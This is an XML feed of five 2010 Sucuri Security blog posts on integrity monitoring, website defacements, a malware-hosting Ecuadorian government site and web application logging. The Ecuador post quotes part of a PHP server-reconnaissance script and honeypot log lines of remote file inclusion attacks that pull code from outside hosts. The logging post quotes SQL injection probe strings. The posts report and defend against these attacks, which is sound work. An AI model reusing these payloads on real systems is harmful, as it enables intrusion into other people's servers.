<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;D0AMRHozfip7ImA9WxBbEUQ.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405</id><updated>2010-03-09T23:36:25.486-05:00</updated><title>Sucuri Security</title><subtitle type="html">Sucuri Security Labs official blog</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://blog.sucuri.net/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://blog.sucuri.net/" /><link rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>59</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/SucuriSecurity" /><feedburner:info uri="sucurisecurity" /><entry gd:etag="W/&quot;DkYDQnk6cSp7ImA9WxBbEUU.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-2509023638783148500</id><published>2010-03-09T18:12:00.003-05:00</published><updated>2010-03-09T20:22:53.719-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-09T20:22:53.719-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Cloud-based (FILE) Integrity Monitoring</title><content type="html">If you are a system administrator or have ever worked with security, you probably heard the terms &lt;span style="font-style:italic;"&gt;file integrity monitoring&lt;/span&gt; or &lt;span style="font-style:italic;"&gt;file integrity checking&lt;/span&gt;. If you didn't, you at least heard of tripwire or OSSEC or AIDS (they are popular open source file integrity checking tools).&lt;br /&gt;&lt;br /&gt;How do they work? Generally they are installed on a server, where they create a cryptographic checksum of all the critical files (and registry entries) and if/when something changes you get an alert. Useful, no? So, if an attacker (or anyone) goes and modify your hosts file you would get the alert: "File /etc/hosts has been modified".&lt;br /&gt;&lt;br /&gt;Yes, very useful! &lt;br /&gt;&lt;br /&gt;However, as we move to a &lt;span style="font-style:italic;"&gt;cloud-based&lt;/span&gt; world, how can this still work? &lt;br /&gt;&lt;br /&gt;Your email is now stored at gmail, your Whois data is stored at a registrar that you don't control either. Your DNS may be hosted outside too, where you can't verify locally if the zones have been changed. Your sites may be hosted a multiple locations outside your control.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How do you guarantee that the integrity of your data is intact? How do you guarantee that the integrity of your Internet presence (of your brand, your site) is intact?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you remember the last time &lt;a href="http://techcrunch.com/2009/12/17/twitter-reportedly-hacked-by-iranian-cyber-army/"&gt;twitter was hacked&lt;/a&gt;, the attackers didn't get access to their servers, but they attacked their registrar and modified the DNS to point to another system. Nothing that twitter could have protected from the inside.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;That's where cloud-based (or web-based) integrity monitoring comes into play.&lt;/span&gt; As we become more decentralized, we need a way to verify that our external data is still safe.&lt;br /&gt;&lt;br /&gt;Well, that's what our &lt;a href="http://sucuri.net"&gt;company does&lt;/a&gt;. We offer a cloud-based Integrity monitoring solution that verifies that your Internet presence have not been altered. We monitor your DNS, your Whois information, your web sites, your blacklist status (at multiple databases), your SSL certificates, and alert you whenever their integrity is changed. &lt;br /&gt;&lt;br /&gt;How useful is it? As the integrity of your data changes, it allows us to detect malware injection, spam, defacements, attempts to steal domains, database errors and even if your site just went offline. &lt;span style="font-weight:bold;"&gt;Curious to try? visit: &lt;a href="http://sucuri.net"&gt;http://sucuri.net&lt;/a&gt; and let us know what you think.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-2509023638783148500?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Wa463UeVPAYWFaGGhwXGlj0ZZ-M/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Wa463UeVPAYWFaGGhwXGlj0ZZ-M/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Wa463UeVPAYWFaGGhwXGlj0ZZ-M/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Wa463UeVPAYWFaGGhwXGlj0ZZ-M/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/TrMdR7JFbx0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/2509023638783148500/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/03/cloud-based-file-integrity-monitoring.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/2509023638783148500?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/2509023638783148500?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/TrMdR7JFbx0/cloud-based-file-integrity-monitoring.html" title="Cloud-based (FILE) Integrity Monitoring" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/03/cloud-based-file-integrity-monitoring.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUYCQn8zeyp7ImA9WxBbEUs.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-7137861373604055253</id><published>2010-03-09T14:27:00.002-05:00</published><updated>2010-03-09T14:32:43.183-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-09T14:32:43.183-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><category scheme="http://www.blogger.com/atom/ns#" term="apache" /><title>Screenshot of the apache.org defacement (10 years ago)</title><content type="html">We recently published a case study of the apache.org defacement that happened 10 years ago. You can read it here: &lt;a href="http://blog.sucuri.net/2010/03/apacheorg-defaced-security-archive-case.html"&gt;Apache.org defaced - Security archive case study&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We didn't publish the screenshot of the defacement, but our friend &lt;a href="http://twitter.com/EdiStrosar"&gt;@EdiStrosar&lt;/a&gt; sent us a link to it. Check it out:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_w4XYN7NmRts/S5aiLoW3TfI/AAAAAAAAABE/TDk-QS9PTxQ/s1600-h/apache-owned.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 230px;" src="http://2.bp.blogspot.com/_w4XYN7NmRts/S5aiLoW3TfI/AAAAAAAAABE/TDk-QS9PTxQ/s400/apache-owned.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5446719120046771698" /&gt;&lt;/a&gt;Very funny...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-7137861373604055253?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Y6ZLLmV9V13SmTMBVl1sPBbZUW0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Y6ZLLmV9V13SmTMBVl1sPBbZUW0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Y6ZLLmV9V13SmTMBVl1sPBbZUW0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Y6ZLLmV9V13SmTMBVl1sPBbZUW0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/4_34m4vQW2k" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/7137861373604055253/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/03/screenshot-of-apacheorg-defacement-10.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7137861373604055253?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7137861373604055253?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/4_34m4vQW2k/screenshot-of-apacheorg-defacement-10.html" title="Screenshot of the apache.org defacement (10 years ago)" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_w4XYN7NmRts/S5aiLoW3TfI/AAAAAAAAABE/TDk-QS9PTxQ/s72-c/apache-owned.gif" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/03/screenshot-of-apacheorg-defacement-10.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEIBQ3c4fyp7ImA9WxBbEEo.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-1037513965525029531</id><published>2010-03-08T13:13:00.003-05:00</published><updated>2010-03-08T13:22:32.937-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-08T13:22:32.937-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><title>Ecuador Government site hacked and spreading malware</title><content type="html">&lt;a href="http://blog.sucuri.net/2010/02/colombia-government-sites-hacked-and.html"&gt;Colombia&lt;/a&gt;, &lt;a href="http://blog.sucuri.net/2010/03/venezuela-government-site-hacked-and.html"&gt;Venezuela&lt;/a&gt; and now Ecuador. How far are we from reporting the whole South America? :)&lt;br /&gt;&lt;br /&gt;The web site from the 'Municipio del Cantón Mejía' in Ecuador has been hosting malware and also attacking our honeypots for a while. As always, we reported and didn't hear anything back.&lt;br /&gt;&lt;br /&gt;They are hosting the common FX29ID php exploit:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;http://www.municipiodemejia.gov.ec/administrator/components/com_search/sken/id1(feelcomz).txt&lt;/span&gt;&lt;blockquote&gt;&amp;lt; ? php&lt;br /&gt;##[ Fxxxx ]##&lt;br /&gt;fx("ID","FeeL"."CoMz");&lt;br /&gt;$P   = @getcwd();&lt;br /&gt;$IP  = @getenv("SERVER_ADDR");&lt;br /&gt;$UID = fx29exec("id");&lt;br /&gt;fx("SAFE",@safemode()?"ON":"OFF");&lt;br /&gt;fx("OS",@PHP_OS);&lt;br /&gt;fx("UNAME",@php_uname());&lt;br /&gt;fx("SERVER",($IP)?$IP:"-");&lt;br /&gt;fx("USER",@get_current_user());&lt;br /&gt;fx("UID",($UID)?$UID:"uid=".@getmyuid()." gid=".@getmygid());&lt;br /&gt;fx("DIR",$P);&lt;br /&gt;fx("PERM",(@is_writable($P))?"[W]":"[R]");&lt;br /&gt;fx("HDD","Used: ".hdd("used")." Free: ".hdd("free")." Total: ".hdd("total"));&lt;br /&gt;fx("DISFUNC",@getdisfunc());&lt;br /&gt;##[ FX29SHEXEC ]##&lt;/blockquote&gt;Also attempting RFI attacks against our systems (190.152.217.250 is their IP address):&lt;blockquote&gt;SCAN:190.152.217.250 /xxx/new-visitor.inc.php?lvc_include_dir=http://www.j8design.com/id1.txt?&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;190.152.217.250&lt;/span&gt; /xxx/show.php?path= http://kucing1.fileave.com/id1.txt?&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;190.152.217.250&lt;/span&gt; //?_SERVER[DOCUMENT_ROOT]= http://clompunk.webs.com/id1.txt?&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;190.152.217.250&lt;/span&gt; //bbs///skin/buzzard_espoon/setup.php?dir= http://www.hyonsvc.co.kr//bbs//icon/id1.txt????????&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;190.152.217.250&lt;/span&gt; //delete_comment.php?board_skin_path= http://www.hyonsvc.co.kr//bbs//icon/id1.txt&lt;/blockquote&gt;If you know anyone at the Ecuador .gov, let them know about it. Hopefully they will get it fixed soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-1037513965525029531?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EVqFRpczGWJs7XyABX7BKBpG1wg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EVqFRpczGWJs7XyABX7BKBpG1wg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EVqFRpczGWJs7XyABX7BKBpG1wg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EVqFRpczGWJs7XyABX7BKBpG1wg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/pmefhRvVRL4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/1037513965525029531/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/03/ecuador-government-site-hacked-and.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/1037513965525029531?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/1037513965525029531?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/pmefhRvVRL4/ecuador-government-site-hacked-and.html" title="Ecuador Government site hacked and spreading malware" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/03/ecuador-government-site-hacked-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcASHs9eip7ImA9WxBbEE0.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-1330059335189705138</id><published>2010-03-07T17:07:00.005-05:00</published><updated>2010-03-07T18:20:49.562-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-07T18:20:49.562-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="history" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><category scheme="http://www.blogger.com/atom/ns#" term="apache" /><title>Apache.org defaced - Security archive case study</title><content type="html">&lt;b&gt;Security Archive: Remembering security incidents to make sure we don't commit the same mistakes over and over again. &lt;br /&gt;&lt;br /&gt;Want to read more stories like this one? Follow &lt;a href="http://twitter.com/sucuri_security"&gt;@sucuri_security&lt;/a&gt; on twitter or subscribe to our &lt;a href="http://feeds.feedburner.com/SucuriSecurity"&gt;RSS feed&lt;/a&gt;. Interested in a web site security monitoring solution? Visit &lt;a href="http://sucuri.net"&gt;sucuri.net&lt;/a&gt;.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;May 5th, 2000&lt;/b&gt;. It was almost ten years ago that news came out. The web site for the most popular web server got defaced. Yes, Apache.org was hacked. The funny part is that the attackers were "nice" and only modified the page to add a Microsoft banner ("Powered by Microsoft BackOffice").&lt;br /&gt;&lt;br /&gt;How Embarrassing. They were "white hats" (according to Apache itself) and did nothing more than to add that funny banner. However, people were worried about what else they could have done or what else might be compromised. Was the Apache source code safe? Did anyone add a backdoor there? Even worse, how they got in? Was it caused by a 0-day on Apache itself?&lt;br /&gt;&lt;br /&gt;The attackers itself explained how they got in and it was caused by a few configuration mistakes made by the Apache team. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Mistakes:&lt;/span&gt;&lt;ol&gt;&lt;li&gt;Their HTTP root directory (www_root) was the same as their FTP root directory (ftp_root). So visiting http://apache.org was using a directory inside ftp://apache.org.&lt;/li&gt;&lt;li&gt;Their FTP allowed anonymous access&lt;/li&gt;&lt;li&gt;They had a world writable directory inside that FTP server&lt;/li&gt;&lt;li&gt;They didn't have a deny-all policy in their firewall&lt;/li&gt;&lt;li&gt;MySQL was running as root&lt;/li&gt;&lt;/ol&gt;None of these are big issues by itself, but when merged together, they gave the attackers full access to the Apache server.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How they got in?&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;They added a PHP file inside that FTP world-writable directory and executed it via the HTTP site. After that they pushed a remote shell (to listen on port 65533) and got shell access! They looked around, found the database password inside the bugzilla configuration file, created a test database and exported it as a root executable file (remember, mysql was running as root - SELECT.. INTO OUTFILE) and after a few more tricks they owned everything...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What to learn from it and protect ourselves?&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Set up a default-deny policy on your firewall. If they had that (only allowing port 80 for example), their remote shell would not have worked. How is your firewall configured?&lt;/li&gt;&lt;li&gt;The HTTP files should be owned by root, not the apache user itself. The apache user only need read access and maybe a write access to one or two directories&lt;/li&gt;&lt;li&gt;Your web_root should be different from your ftp_root. I see lot of servers where the /home/[site] is both!&lt;/li&gt;&lt;li&gt;Remove anonymous FTP access! If you need this functionality, configure a separate server for that. Anonymous write-access? Never!&lt;/li&gt;&lt;li&gt;Don't run your services as root! They only got root because mysql was running as root! Always use privilege-separated users&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Want to see the full story? It is very entertaining. Check out: &lt;a href="http://www.dataloss.net/papers/how.defaced.apache.org.txt"&gt;http://www.dataloss.net/papers/how.defaced.apache.org.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-1330059335189705138?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vpWCoWhH-2VeqySsHUwEFGshaWs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vpWCoWhH-2VeqySsHUwEFGshaWs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vpWCoWhH-2VeqySsHUwEFGshaWs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vpWCoWhH-2VeqySsHUwEFGshaWs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/1VMlZuwe3Y8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/1330059335189705138/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/03/apacheorg-defaced-security-archive-case.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/1330059335189705138?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/1330059335189705138?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/1VMlZuwe3Y8/apacheorg-defaced-security-archive-case.html" title="Apache.org defaced - Security archive case study" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/03/apacheorg-defaced-security-archive-case.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A04CRXYyfSp7ImA9WxBUF0w.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-7115094854519897778</id><published>2010-03-04T10:10:00.004-05:00</published><updated>2010-03-04T11:26:04.895-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-04T11:26:04.895-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="logs" /><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="ossec" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>The Importance of logging for web applications - Security talk</title><content type="html">If you think that your logs are only useful when something crashes or when you need to troubleshoot errors on your web application, think again!&lt;br /&gt;&lt;br /&gt;At our &lt;a href="http://sucuri.net/?page=tools"&gt;Sucuri Labs&lt;/a&gt;, we have multiple online tools and we have good logging on all of them. We not only log errors, but also successful requests. For example, on our &lt;a href="http://sucuri.net/?page=tools&amp;amp;title=check-url"&gt;Application to get the real URL from a shortened one&lt;/a&gt;, this is how it looks when someone uses it:&lt;blockquote&gt;2010-03-04 05:56:54 [srcip] Check URL for http://bit.ly/XYZ.&lt;br /&gt;2010-03-04 05:57:01 [srcip] Check URL for http://bit.ly/ABC.&lt;/blockquote&gt;Yes,that gets logged on our internal success log. When something fails, or someone gives us an invalid URL, thats how it looks like:&lt;blockquote&gt;2010-03-04 06:45:37 [srcip] Check URL: Invalid domain name 'google'..&lt;br /&gt;&lt;/blockquote&gt;That gives us an overview of what our users are doing and what mistakes they make more often. In this case, the user tried the domain "google", without the .com at the end.&lt;br /&gt;&lt;br /&gt;That's very useful from a usability stand point, but from a security perspective, logs can be much more useful. We use those web application logs for at least 3 things: &lt;ol&gt;&lt;li&gt;Detect attacks&lt;/li&gt;&lt;li&gt;Detect application misuse&lt;/li&gt;&lt;li&gt;Detect errors (loss of availability)&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1 - Detecting attacks&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Users are curious. Most of them are not malicious, but they certainly like to play around and look for vulnerabilities. One user we noticed tried our &lt;a href="http://sucuri.net/?page=scan"&gt;web scanner&lt;/a&gt; against his web site. &lt;blockquote&gt;2010-02-21 06:52:14 115.49.x.y scanner: Site: www.xx.it&lt;/blockquote&gt;A few minutes after, he started to poke around looking for SQL injections:&lt;blockquote&gt;2010-02-21 06:52:34 115.49.x.y scanner: Invalid site: www.xx.it'`([{^~'&lt;br /&gt;2010-02-21 06:52:41 115.49.x.y scanner: Invalid site: www.xx.it aND 8=8'&lt;br /&gt;2010-02-21 06:52:41 115.49.x.y scanner: Invalid site: www.xx.it aND 8=3'&lt;br /&gt;2010-02-21 06:52:49 115.49.x.y scanner: Invalid site: www.xx.it' aND '8'='8'&lt;br /&gt;2010-02-21 06:52:57 115.49.x.y scanner: Invalid site: www.xx.it' aND '8'='8'&lt;br /&gt;2010-02-21 06:53:09 115.49.x.y scanner: Invalid site: www.xx.it/**/aND/**/8=8'&lt;br /&gt;2010-02-21 06:53:35 115.49.x.y scanner: Invalid site: www.xx.it%' aND '8%'='8'&lt;br /&gt;2010-02-21 06:53:48 115.49.x.y scanner: Invalid site: www.xx.it XoR 8=8'&lt;/blockquote&gt;He then got blocked automatically by our system. Without those logs, he could have tried and tried forever and we would never notice that. Our application was safe against it, but why let an attacker play around? To block those attacks, we use &lt;a href="http://ossec.net/"&gt;OSSEC&lt;/a&gt; with their active response, which blocks an attacker after 10 invalid attempts.&lt;br /&gt;&lt;br /&gt;That's how our OSSEC rule looks like:&lt;blockquote&gt;&lt;pre&gt;&amp;lt;rule id="100906" level="3"&amp;gt;&lt;br /&gt; &amp;lt;match&amp;gt;Invalid site:&amp;lt;/match&amp;gt;&lt;br /&gt; &amp;lt;description&amp;gt;User provided an invalid site.&amp;lt;/description&amp;gt;&lt;br /&gt;&amp;lt;/rule&amp;gt;&lt;br /&gt;&amp;lt;rule id="100907" level="10" frequency="10" timeframe="360"&amp;gt;&lt;br /&gt; &amp;lt;if_matched_sid&amp;gt;100906&amp;lt;/if_matched_sid&amp;gt;&lt;br /&gt; &amp;lt;same_source_ip&amp;gt;&lt;br /&gt; &amp;lt;description&amp;gt;Warning: Multiple invalid sites provided.&amp;lt;/description&amp;gt;&lt;br /&gt;&amp;lt;/rule&amp;gt;&lt;/pre&gt;&lt;/blockquote&gt;The first rule generates a low level event for each invalid site provided and the second one, actually blocks and generates an alert if it happens more than 10 times from the same source ip.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2 - Detecting application misuse&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Detecting application misuse is very similar to detect attacks. Except that in this case the user is not trying to hack us, but use our application in ways we don't allow. For example:&lt;blockquote&gt;2010-02-24 07:22:50 129.21.a.b scanner: Invalid site: 'site:22'..&lt;br /&gt;2010-02-24 07:30:47 129.21.a.b scanner: Invalid site: 'site:25'..&lt;br /&gt;&lt;/blockquote&gt;Instead of giving us a valid domain, the user was trying to give us a port to scan (in this case 22 for ssh and 25 for smtp). We were safe against this, but it raises our awareness of possible ways to misuse our application.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, why not add some good logs to your application? We didn't go over detecting errors, because everyone does that already, but you also need to log successful attempts and invalid user input too! A simple write_log function before you print any error back to the user, should do it. For example:&lt;blockquote&gt;&lt;pre&gt;&lt;br /&gt;function write_log($msg)&lt;br /&gt;{&lt;br /&gt;  $INT_LOGFILE = "/var/logs/myapp/myapp.log";&lt;br /&gt;  if ($handle = fopen($INT_LOGFILE, 'a'))&lt;br /&gt;  {&lt;br /&gt;    fwrite($handle, date('Y-m-d h:i:s ').$_SERVER['REMOTE_ADDR']." ".$msg. ".\n");&lt;br /&gt;    fclose($handle);&lt;br /&gt;  }&lt;br /&gt;}&lt;/pre&gt;&lt;/blockquote&gt;Just remember to log outside your web directory! You don't want anyone else accessing your logs!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-7115094854519897778?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/mqp4iceH95inpdtU0NyD7UDPCYs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mqp4iceH95inpdtU0NyD7UDPCYs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/mqp4iceH95inpdtU0NyD7UDPCYs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mqp4iceH95inpdtU0NyD7UDPCYs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/CvMqqjlE6UY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/7115094854519897778/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/03/importance-of-logging-for-web.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7115094854519897778?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7115094854519897778?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/CvMqqjlE6UY/importance-of-logging-for-web.html" title="The Importance of logging for web applications - Security talk" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/03/importance-of-logging-for-web.html</feedburner:origLink></entry><entry 